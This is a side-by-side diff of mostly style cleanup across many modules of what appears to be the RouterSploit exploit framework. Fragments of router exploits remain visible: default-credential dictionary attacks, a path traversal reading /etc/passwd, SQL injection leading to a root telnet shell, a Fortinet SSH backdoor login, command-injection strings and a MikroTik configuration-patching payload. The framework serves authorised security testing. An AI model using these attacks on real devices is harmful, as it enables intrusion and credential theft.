), ),
"devices": ( "devices": (
...@@ -64,7 +64,7 @@ class Exploit(TCPClient): ...@@ -64,7 +64,7 @@ class Exploit(TCPClient):
print_error("Authentication Failed - Username: '{}' Password: '{}'".format(username, password), verbose=self.verbosity) print_error("Authentication Failed - Username: '{}' Password: '{}'".format(username, password), verbose=self.verbosity)
tcp_client.close() tcp_client.close()
except StopIteration: except StopIteration:
break break
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault): class Exploit(SSHDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault): class Exploit(SSHDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault): class Exploit(TelnetDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault): class Exploit(SSHDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault): class Exploit(TelnetDefault):
......
...@@ -6,7 +6,7 @@ class Exploit(FTPDefault): ...@@ -6,7 +6,7 @@ class Exploit(FTPDefault):
__info__ = { __info__ = {
"name": "Netsys Router Default FTP Creds", "name": "Netsys Router Default FTP Creds",
"description": "Module performs dictionary attack against Netsys Router FTP service. " "description": "Module performs dictionary attack against Netsys Router FTP service. "
"If valid credentials are found, they are displayed to the user.", "If valid credentials are found, they are displayed to the user.",
"authors": ( "authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module "Marcin Bury <marcin[at]threat9.com>", # routersploit module
), ),
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault): class Exploit(SSHDefault):
__info__ = { __info__ = {
"name": "Netsys Router Default SSH Creds", "name": "Netsys Router Default SSH Creds",
"description": "Module performs dictionary attack against Netsys Router SSH service. " "description": "Module performs dictionary attack against Netsys Router SSH service. "
"If valid credentials are found, they are displayed to the user.", "If valid credentials are found, they are displayed to the user.",
"authors": ( "authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module "Marcin Bury <marcin[at]threat9.com>", # routersploit module
), ),
......
...@@ -6,7 +6,7 @@ class Exploit(FTPDefault): ...@@ -6,7 +6,7 @@ class Exploit(FTPDefault):
__info__ = { __info__ = {
"name": "Netsys Router Default Telnet Creds", "name": "Netsys Router Default Telnet Creds",
"description": "Module performs dictionary attack against Netsys Router Telnet service. " "description": "Module performs dictionary attack against Netsys Router Telnet service. "
"If valid credentials are found, they are displayed to the user.", "If valid credentials are found, they are displayed to the user.",
"authors": ( "authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module "Marcin Bury <marcin[at]threat9.com>", # routersploit module
), ),
......
import re
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient from routersploit.core.http.http_client import HTTPClient
...@@ -48,7 +47,6 @@ class Exploit(HTTPClient): ...@@ -48,7 +47,6 @@ class Exploit(HTTPClient):
def target_function(self, data): def target_function(self, data):
username, password = data.split(":") username, password = data.split(":")
def check(self): def check(self):
response = self.http_request( response = self.http_request(
method="GET", method="GET",
...@@ -57,9 +55,7 @@ class Exploit(HTTPClient): ...@@ -57,9 +55,7 @@ class Exploit(HTTPClient):
if response is None: if response is None:
return False return False
if all([x in response.text if all([x in response.text for x in ['<script type="text/javascript" src="/themes/pfsense_ng/javascript/niftyjsCode.js"></script>', 'var csrfMagicToken =']]):
for x in ['<script type="text/javascript" src="/themes/pfsense_ng/javascript/niftyjsCode.js"></script>',
'var csrfMagicToken =']]):
return True return True
return False return False
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault): class Exploit(SSHDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault): class Exploit(TelnetDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault): class Exploit(TelnetDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault): class Exploit(SSHDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault): class Exploit(TelnetDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault): class Exploit(SSHDefault):
...@@ -20,4 +20,3 @@ class Exploit(SSHDefault): ...@@ -20,4 +20,3 @@ class Exploit(SSHDefault):
threads = OptInteger(1, "Number of threads") threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin,root:ubnt,ubnt:ubnt", "User:Pass or file with default credentials (file://)") defaults = OptWordlist("admin:admin,root:ubnt,ubnt:ubnt", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault): class Exploit(TelnetDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault): class Exploit(SSHDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault): class Exploit(TelnetDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault): class Exploit(SSHDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault): class Exploit(TelnetDefault):
......
...@@ -26,10 +26,9 @@ class Exploit(HTTPClient): ...@@ -26,10 +26,9 @@ class Exploit(HTTPClient):
port = OptPort(8080, "Target HTTP port") port = OptPort(8080, "Target HTTP port")
def __init__(self): def __init__(self):
config_content = None self.config_content = None
def run(self): def run(self):
if self.check(): if self.check():
print_success("Target appears to be vulnerable.") print_success("Target appears to be vulnerable.")
...@@ -115,4 +114,3 @@ class Exploit(HTTPClient): ...@@ -115,4 +114,3 @@ class Exploit(HTTPClient):
ret_str += tmp_str[i + half_str_len] + tmp_str[i] ret_str += tmp_str[i + half_str_len] + tmp_str[i]
return ret_str return ret_str
...@@ -42,8 +42,7 @@ class Exploit(TelnetClient): ...@@ -42,8 +42,7 @@ class Exploit(TelnetClient):
print_success("SQLI successful, going to telnet into port 20000 " print_success("SQLI successful, going to telnet into port 20000 "
"with username root and no password to get shell") "with username root and no password to get shell")
tn = self.telnet_login("root", "", port=20000)
tn = self.telnet_login("root", "", port=20000)
if tn: if tn:
self.telnet_interactive(tn) self.telnet_interactive(tn)
......
import requests
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient from routersploit.core.http.http_client import HTTPClient
......
...@@ -26,7 +26,7 @@ class Exploit(HTTPClient): ...@@ -26,7 +26,7 @@ class Exploit(HTTPClient):
port = OptPort(80, "Target HTTP port") port = OptPort(80, "Target HTTP port")
filename = OptString("/etc/passwd", "File to read from the filesystem") filename = OptString("/etc/passwd", "File to read from the filesystem")
def __init__(self): def __init__(self):
self.resources = ( self.resources = (
"/cgi-bin/check.cgi?file=../../..{}", "/cgi-bin/check.cgi?file=../../..{}",
......
...@@ -59,7 +59,7 @@ class Exploit(HTTPClient): ...@@ -59,7 +59,7 @@ class Exploit(HTTPClient):
for chunk in response.iter_content(chunk_size=100): for chunk in response.iter_content(chunk_size=100):
if "admin" in chunk: if "admin" in chunk:
print_success(chunk) print_success(chunk)
except: except Exception:
print_error("Exploit failed - could not read /proc/kcore") print_error("Exploit failed - could not read /proc/kcore")
@mute @mute
......
...@@ -44,8 +44,6 @@ class Exploit(HTTPClient): ...@@ -44,8 +44,6 @@ class Exploit(HTTPClient):
def execute(self, cmd): def execute(self, cmd):
marker = utils.random_text(32) marker = utils.random_text(32)
url = "{}:{}{}".format(self.target, self.port, self.path)
injection = self.valid.replace("{{marker}}", marker).replace("{{cmd}}", cmd) injection = self.valid.replace("{{marker}}", marker).replace("{{cmd}}", cmd)
headers = { headers = {
...@@ -76,8 +74,6 @@ class Exploit(HTTPClient): ...@@ -76,8 +74,6 @@ class Exploit(HTTPClient):
cmd = "echo $(({}-1))".format(number) cmd = "echo $(({}-1))".format(number)
marker = utils.random_text(32) marker = utils.random_text(32)
url = "{}:{}{}".format(self.target, self.port, self.path)
for payload in self.payloads: for payload in self.payloads:
injection = payload.replace("{{marker}}", marker).replace("{{cmd}}", cmd) injection = payload.replace("{{marker}}", marker).replace("{{cmd}}", cmd)
......
...@@ -48,8 +48,6 @@ class Exploit(HTTPClient): ...@@ -48,8 +48,6 @@ class Exploit(HTTPClient):
return False # target is not vulnerable return False # target is not vulnerable
# checking if authentication can be bypassed # checking if authentication can be bypassed
url = "{}:{}/xslt".format(self.target, self.port)
response = self.http_request( response = self.http_request(
method="GET", method="GET",
path="/xslt", path="/xslt",
......
...@@ -63,7 +63,7 @@ class Exploit(HTTPClient): ...@@ -63,7 +63,7 @@ class Exploit(HTTPClient):
continue continue
if any(map(lambda x: x in response.text, ["report.db.server.name", "report.db.server.sa.pass", "report.db.server.user.pass"])): if any(map(lambda x: x in response.text, ["report.db.server.name", "report.db.server.sa.pass", "report.db.server.user.pass"])):
self.valid = path self.valid = path
return True # target is vulnerable return True # target is vulnerable
return False # target not vulnerable return False # target not vulnerable
...@@ -44,7 +44,7 @@ class Exploit(HTTPClient): ...@@ -44,7 +44,7 @@ class Exploit(HTTPClient):
def check(self): def check(self):
response1 = self.http_request( response1 = self.http_request(
method="GET", method="GET",
path="/utility.cgi?testType=1&IP=aaa", path="/utility.cgi?testType=1&IP=aaa",
) )
if response1 is None: if response1 is None:
return False # target is not vulnerable return False # target is not vulnerable
......
...@@ -46,7 +46,7 @@ class Exploit(HTTPClient): ...@@ -46,7 +46,7 @@ class Exploit(HTTPClient):
try: try:
print_status("Trying to base64 decode") print_status("Trying to base64 decode")
password = base64.b64decode(res[0]) password = base64.b64decode(res[0])
except: except Exception:
print_error("Exploit failed - could not decode password") print_error("Exploit failed - could not decode password")
return return
......
...@@ -178,7 +178,7 @@ class Exploit(TCPClient): ...@@ -178,7 +178,7 @@ class Exploit(TCPClient):
print_status("Connection OK") print_status("Connection OK")
print_status("Received bytes from telnet service: {}".format(repr(s.recv(1024)))) print_status("Received bytes from telnet service: {}".format(repr(s.recv(1024))))
except: except Exception:
print_error("Connection failed") print_error("Connection failed")
return return
...@@ -201,7 +201,7 @@ class Exploit(TCPClient): ...@@ -201,7 +201,7 @@ class Exploit(TCPClient):
try: try:
t = telnetlib.Telnet(self.target, int(self.telnet_port)) t = telnetlib.Telnet(self.target, int(self.telnet_port))
t.interact() t.interact()
except: except Exception:
print_error("Exploit failed") print_error("Exploit failed")
else: else:
print_status("Check if Telnet authentication was set back") print_status("Check if Telnet authentication was set back")
......
...@@ -89,7 +89,7 @@ class Exploit(HTTPClient): ...@@ -89,7 +89,7 @@ class Exploit(HTTPClient):
path="/login.cgi?logout=1", path="/login.cgi?logout=1",
data=data, data=data,
allow_redirects=False, allow_redirects=False,
timeout=30, timeout=30,
session=self.session session=self.session
) )
......
...@@ -114,15 +114,12 @@ class Exploit(HTTPClient, SSHClient): ...@@ -114,15 +114,12 @@ class Exploit(HTTPClient, SSHClient):
"file": (sh_name, payload) "file": (sh_name, payload)
} }
try: self.http_request(
self.http_request( method="POST",
method="POST", path="/DetectionPolicy/rules/rulesimport.cgi",
path="/DetectionPolicy/rules/rulesimport.cgi", files=multipart_form_data,
files=multipart_form_data, session=self.session
session=self.session )
)
except:
pass
return return
......
...@@ -75,7 +75,7 @@ class Exploit(HTTPClient): ...@@ -75,7 +75,7 @@ class Exploit(HTTPClient):
if len(res): if len(res):
try: try:
b64decode(res[0]) # checking if data is base64 encoded b64decode(res[0]) # checking if data is base64 encoded
except: except Exception:
return False # target is not vulnerable return False # target is not vulnerable
else: else:
return False # target is not vulnerable return False # target is not vulnerable
......
...@@ -61,7 +61,7 @@ class Exploit(HTTPClient): ...@@ -61,7 +61,7 @@ class Exploit(HTTPClient):
"SystemCommand": "ls", "SystemCommand": "ls",
"ConfigSystemCommand": "Save" "ConfigSystemCommand": "Save"
} }
response = self.http_request( response = self.http_request(
method="POST", method="POST",
path="/setSystemCommand", path="/setSystemCommand",
......
...@@ -67,7 +67,7 @@ class Exploit(UDPClient): ...@@ -67,7 +67,7 @@ class Exploit(UDPClient):
sock.send(buf) sock.send(buf)
response = sock.recv(65535) response = sock.recv(65535)
sock.close() sock.close()
except: except Exception:
return False # target is not vulnerable return False # target is not vulnerable
if "Linux, UPnP/1.0, DIR-" in response: if "Linux, UPnP/1.0, DIR-" in response:
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.core.udp.udp_client import UDPClient from routersploit.core.udp.udp_client import UDPClient
class Exploit(UDPClient): class Exploit(UDPClient):
__info__ = { __info__ = {
"name": "D-Link DIR-815 & DIR-850L RCE", "name": "D-Link DIR-815 & DIR-850L RCE",
......
...@@ -25,7 +25,6 @@ class Exploit(HTTPClient): ...@@ -25,7 +25,6 @@ class Exploit(HTTPClient):
target = OptIP("", "Target IPv4 or IPv6 address") target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port") port = OptPort(80, "Target HTTP port")
def run(self): def run(self):
self.credentials = [] self.credentials = []
......
...@@ -63,7 +63,7 @@ class Exploit(HTTPClient): ...@@ -63,7 +63,7 @@ class Exploit(HTTPClient):
"{};echo ffffffffffffffff;".format(cmd) "{};echo ffffffffffffffff;".format(cmd)
response = self.http_request( response = self.http_request(
method="GET", method="GET",
path=path path=path
) )
if response is None: if response is None:
......
...@@ -12,7 +12,7 @@ class Exploit(HTTPClient): ...@@ -12,7 +12,7 @@ class Exploit(HTTPClient):
"Alvaro Folgado", # vulnerability discovery "Alvaro Folgado", # vulnerability discovery
"Jose Rodriguez", # vulnerability discovery "Jose Rodriguez", # vulnerability discovery
"Ivan Sanz", # vulnerability discovery "Ivan Sanz", # vulnerability discovery
"Marcin Bury <marcin[at]threat9.com>", # routersploit module, "Marcin Bury <marcin[at]threat9.com>", # routersploit module,
), ),
"references": ( "references": (
"http://seclists.org/fulldisclosure/2015/May/129", "http://seclists.org/fulldisclosure/2015/May/129",
......
...@@ -9,7 +9,7 @@ class Exploit(HTTPClient): ...@@ -9,7 +9,7 @@ class Exploit(HTTPClient):
"description": "Module exploits remote code execution vulnerability in D-Link DSL-2750B devices. ", "description": "Module exploits remote code execution vulnerability in D-Link DSL-2750B devices. ",
"authors": ( "authors": (
"p@ql", # vulnerability discovery "p@ql", # vulnerability discovery
"Marcin Bury <marcin[at]threat9.com>", # routersploit module, "Marcin Bury <marcin[at]threat9.com>", # routersploit module,
), ),
"references": ( "references": (
"http://seclists.org/fulldisclosure/2016/Feb/53", "http://seclists.org/fulldisclosure/2016/Feb/53",
...@@ -45,7 +45,7 @@ class Exploit(HTTPClient): ...@@ -45,7 +45,7 @@ class Exploit(HTTPClient):
if response and "DSL-2750B" in response.text: if response and "DSL-2750B" in response.text:
version = re.findall(r"AYECOM_FWVER=\"(.*?)\";", response.text) version = re.findall(r"AYECOM_FWVER=\"(.*?)\";", response.text)
if version: if version:
if utils.Version("1.01") <= utils.Version(version[0]) <= utils.Version("1.03"): if utils.Version("1.01") <= utils.Version(version[0]) <= utils.Version("1.03"):
return True # target is vulnerable return True # target is vulnerable
return False # target is not vulnerable return False # target is not vulnerable
...@@ -44,7 +44,7 @@ class Exploit(HTTPClient): ...@@ -44,7 +44,7 @@ class Exploit(HTTPClient):
method="GET", method="GET",
path="/", path="/",
cookies=cookies cookies=cookies
) )
return "" return ""
@mute @mute
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient from routersploit.core.http.http_client import HTTPClient
......
...@@ -3,7 +3,6 @@ from routersploit.core.exploit import * ...@@ -3,7 +3,6 @@ from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient from routersploit.core.http.http_client import HTTPClient
class Exploit(HTTPClient): class Exploit(HTTPClient):
__info__ = { __info__ = {
"name": "D-Link DWL-3200AP Password Disclosure", "name": "D-Link DWL-3200AP Password Disclosure",
......
...@@ -35,7 +35,7 @@ class Exploit(TCPClient, TelnetClient): ...@@ -35,7 +35,7 @@ class Exploit(TCPClient, TelnetClient):
try: try:
sock.sendto(b"HELODBG", (self.target, 39889)) sock.sendto(b"HELODBG", (self.target, 39889))
response = sock.recv(1024) response = sock.recv(1024)
except: except Exception:
pass pass
sock.close() sock.close()
...@@ -47,7 +47,7 @@ class Exploit(TCPClient, TelnetClient): ...@@ -47,7 +47,7 @@ class Exploit(TCPClient, TelnetClient):
try: try:
tn = telnetlib.Telnet(self.target, self.telnet_port) tn = telnetlib.Telnet(self.target, self.telnet_port)
tn.interact() tn.interact()
except: except Exception:
print_error("Exploit failed - could not connect to the telnet service") print_error("Exploit failed - could not connect to the telnet service")
else: else:
print_error("Exploit failed - target seems to be not vulnerable") print_error("Exploit failed - target seems to be not vulnerable")
...@@ -64,7 +64,7 @@ class Exploit(TCPClient, TelnetClient): ...@@ -64,7 +64,7 @@ class Exploit(TCPClient, TelnetClient):
if "Hello" in response: if "Hello" in response:
sock.sendto(b"BYEDBG", (self.target, 39889)) sock.sendto(b"BYEDBG", (self.target, 39889))
return True # target is vulnerable return True # target is vulnerable
except: except Exception:
pass pass
return False # target is not vulnerable return False # target is not vulnerable
...@@ -75,7 +75,7 @@ class Exploit(HTTPClient): ...@@ -75,7 +75,7 @@ class Exploit(HTTPClient):
@mute @mute
def check(self): def check(self):
fingerprint = utils.random_text(10) fingerprint = utils.random_text(10)
cmd = "echo {}".format(fingerprint) cmd = "echo {}".format(fingerprint)
response = self.execute(cmd) response = self.execute(cmd)
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient from routersploit.core.http.http_client import HTTPClient
class Exploit(HTTPClient): class Exploit(HTTPClient):
__info__ = { __info__ = {
"name": "D-Link Multi HNAP RCE", "name": "D-Link Multi HNAP RCE",
...@@ -52,7 +53,7 @@ class Exploit(HTTPClient): ...@@ -52,7 +53,7 @@ class Exploit(HTTPClient):
self.http_request( self.http_request(
method="POST", method="POST",
path="/HNAP1/", path="/HNAP1/",
headers=headers headers=headers
) )
return "" return ""
......
...@@ -36,7 +36,7 @@ class Exploit(SSHClient): ...@@ -36,7 +36,7 @@ class Exploit(SSHClient):
client.connect(self.target, self.port, username='', allow_agent=False, look_for_keys=False) client.connect(self.target, self.port, username='', allow_agent=False, look_for_keys=False)
except paramiko.ssh_exception.SSHException: except paramiko.ssh_exception.SSHException:
pass pass
except: except Exception:
print_error("Exploit Failed - SSH Service is down") print_error("Exploit Failed - SSH Service is down")
return return
...@@ -45,7 +45,7 @@ class Exploit(SSHClient): ...@@ -45,7 +45,7 @@ class Exploit(SSHClient):
trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True) trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
except paramiko.ssh_exception.AuthenticationException: except paramiko.ssh_exception.AuthenticationException:
pass pass
except: except Exception:
print_status("Error with Existing Session. Wait few minutes.") print_status("Error with Existing Session. Wait few minutes.")
return return
...@@ -54,7 +54,7 @@ class Exploit(SSHClient): ...@@ -54,7 +54,7 @@ class Exploit(SSHClient):
print_success("Exploit succeeded") print_success("Exploit succeeded")
ssh_interactive(client) ssh_interactive(client)
except: except Exception:
print_error("Exploit failed") print_error("Exploit failed")
return return
...@@ -67,7 +67,7 @@ class Exploit(SSHClient): ...@@ -67,7 +67,7 @@ class Exploit(SSHClient):
client.connect(self.target, self.port, username='', allow_agent=False, look_for_keys=False) client.connect(self.target, self.port, username='', allow_agent=False, look_for_keys=False)
except paramiko.ssh_exception.SSHException: except paramiko.ssh_exception.SSHException:
pass pass
except: except Exception:
return False # target is not vulnerable return False # target is not vulnerable
trans = client.get_transport() trans = client.get_transport()
...@@ -75,12 +75,12 @@ class Exploit(SSHClient): ...@@ -75,12 +75,12 @@ class Exploit(SSHClient):
trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True) trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
except paramiko.ssh_exception.AuthenticationException: except paramiko.ssh_exception.AuthenticationException:
pass pass
except: except Exception:
return None # could not verify return None # could not verify
try: try:
trans.auth_interactive(username='Fortimanager_Access', handler=self.custom_handler) trans.auth_interactive(username='Fortimanager_Access', handler=self.custom_handler)
except: except Exception:
return False # target is not vulnerable return False # target is not vulnerable
return True # target is vulnerable return True # target is vulnerable
......
...@@ -32,7 +32,7 @@ class Exploit(HTTPClient): ...@@ -32,7 +32,7 @@ class Exploit(HTTPClient):
method="GET", method="GET",
path="/api/wlan/security-settings", path="/api/wlan/security-settings",
) )
if response is None: if response is None:
return return
......
...@@ -72,7 +72,7 @@ class Exploit(UDPClient): ...@@ -72,7 +72,7 @@ class Exploit(UDPClient):
try: try:
print_status("Waiting for response") print_status("Waiting for response")
response = sock.recv(1024) response = sock.recv(1024)
except: except Exception:
print_error("Exploit failed - device seems to be not vulnerable") print_error("Exploit failed - device seems to be not vulnerable")
return return
...@@ -88,7 +88,7 @@ class Exploit(UDPClient): ...@@ -88,7 +88,7 @@ class Exploit(UDPClient):
try: try:
response = sock.recv(1024) response = sock.recv(1024)
except: except Exception:
return False # target is not vulnerable return False # target is not vulnerable
if len(response): if len(response):
......
...@@ -54,7 +54,7 @@ class Exploit(HTTPClient): ...@@ -54,7 +54,7 @@ class Exploit(HTTPClient):
"ACTION2": "snort" "ACTION2": "snort"
} }
response = self.http_request( self.http_request(
method="POST", method="POST",
path="/cgi-bin/ids.cgi", path="/cgi-bin/ids.cgi",
headers=headers, headers=headers,
...@@ -81,7 +81,7 @@ class Exploit(HTTPClient): ...@@ -81,7 +81,7 @@ class Exploit(HTTPClient):
version = res[0][0] version = res[0][0]
update = int(res[0][1]) update = int(res[0][1])
if Version(version) <= Version("2.19") and udpate <= 110: if Version(version) <= Version("2.19") and update <= 110:
return True # target is vulnerable return True # target is vulnerable
return False # target is not vulnerable return False # target is not vulnerable
import re import re
from struct import pack, unpack from struct import pack, unpack
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.core.ssh.ssh_client import SSHClient from routersploit.core.ssh.ssh_client import SSHClient
class Exploit(SSHClient): class Exploit(SSHClient):
...@@ -42,11 +42,11 @@ class Exploit(SSHClient): ...@@ -42,11 +42,11 @@ class Exploit(SSHClient):
if self.backup_restore(backup): if self.backup_restore(backup):
print_success("Jailbreak was (likely) successful.") print_success("Jailbreak was (likely) successful.")
print_success("Linux mode can be accessed via telnet using: devel/{}".format(self.password)) print_success("Linux mode can be accessed via telnet using: devel/{}".format(self.password))
else: else:
print_error("Unable to apply patched configuration") print_error("Unable to apply patched configuration")
else: else:
print_error("Unable to export current configuration") print_error("Unable to export current configuration")
@mute @mute
def check(self): def check(self):
self.ssh_client = self.ssh_login(self.username, self.password) self.ssh_client = self.ssh_login(self.username, self.password)
...@@ -54,7 +54,7 @@ class Exploit(SSHClient): ...@@ -54,7 +54,7 @@ class Exploit(SSHClient):
if self.ssh_client: if self.ssh_client:
output = self.ssh_execute(self.ssh_client, "/system resource print") output = self.ssh_execute(self.ssh_client, "/system resource print")
res = re.findall(b"version: (.+?) ", output) res = re.findall(b"version: (.+?) ", output)
if res: if res:
version = str(res[0], "utf-8") version = str(res[0], "utf-8")
if "rc" in version: if "rc" in version:
...@@ -87,7 +87,7 @@ class Exploit(SSHClient): ...@@ -87,7 +87,7 @@ class Exploit(SSHClient):
matchsize, = unpack("<I", backup[4:8]) matchsize, = unpack("<I", backup[4:8])
if matchsize != realsize: if matchsize != realsize:
print_error("File is damaged. Aborting...") print_error("File is damaged. Aborting...")
return False return False
# first we write our payload # first we write our payload
payload = ( payload = (
...@@ -95,7 +95,7 @@ class Exploit(SSHClient): ...@@ -95,7 +95,7 @@ class Exploit(SSHClient):
b"\x6E\x6F\x76\x61\x2F\x65\x74\x63\x2F\x64\x65\x76\x65\x6C\x2D" b"\x6E\x6F\x76\x61\x2F\x65\x74\x63\x2F\x64\x65\x76\x65\x6C\x2D"
b"\x6C\x6F\x67\x69\x6E\x2F\x00\x00\x00\x00\x00\x00\x00\x00" b"\x6C\x6F\x67\x69\x6E\x2F\x00\x00\x00\x00\x00\x00\x00\x00"
) )
matchsize += len(payload) matchsize += len(payload)
backup = backup[:4] + pack("<I", matchsize) + backup[8:] + payload backup = backup[:4] + pack("<I", matchsize) + backup[8:] + payload
print_status("Patching done") print_status("Patching done")
...@@ -110,6 +110,6 @@ class Exploit(SSHClient): ...@@ -110,6 +110,6 @@ class Exploit(SSHClient):
else: else:
output = self.ssh_execute(self.ssh_client, "/system backup load name=\"backup.backup\"") output = self.ssh_execute(self.ssh_client, "/system backup load name=\"backup.backup\"")
if b"configuration restored" in output: if b"configuration restored" in output:
return True return True
return False return False
import re import re
from time import sleep from time import sleep
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient from routersploit.core.http.http_client import HTTPClient
class Exploit(HTTPClient): class Exploit(HTTPClient):
......
...@@ -142,9 +142,9 @@ class Exploit(HTTPClient): ...@@ -142,9 +142,9 @@ class Exploit(HTTPClient):
if response is not None and response.status_code <= 302: if response is not None and response.status_code <= 302:
print_success( print_success(
"Seems good but check " "Seems good but check " +
+ "{}:{}".format(self.target, self.port) "{}:{} ".format(self.target, self.port) +
+ " using your browser to verify if authentication is disabled or not." "using your browser to verify if authentication is disabled or not."
) )
return True return True
else: else:
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment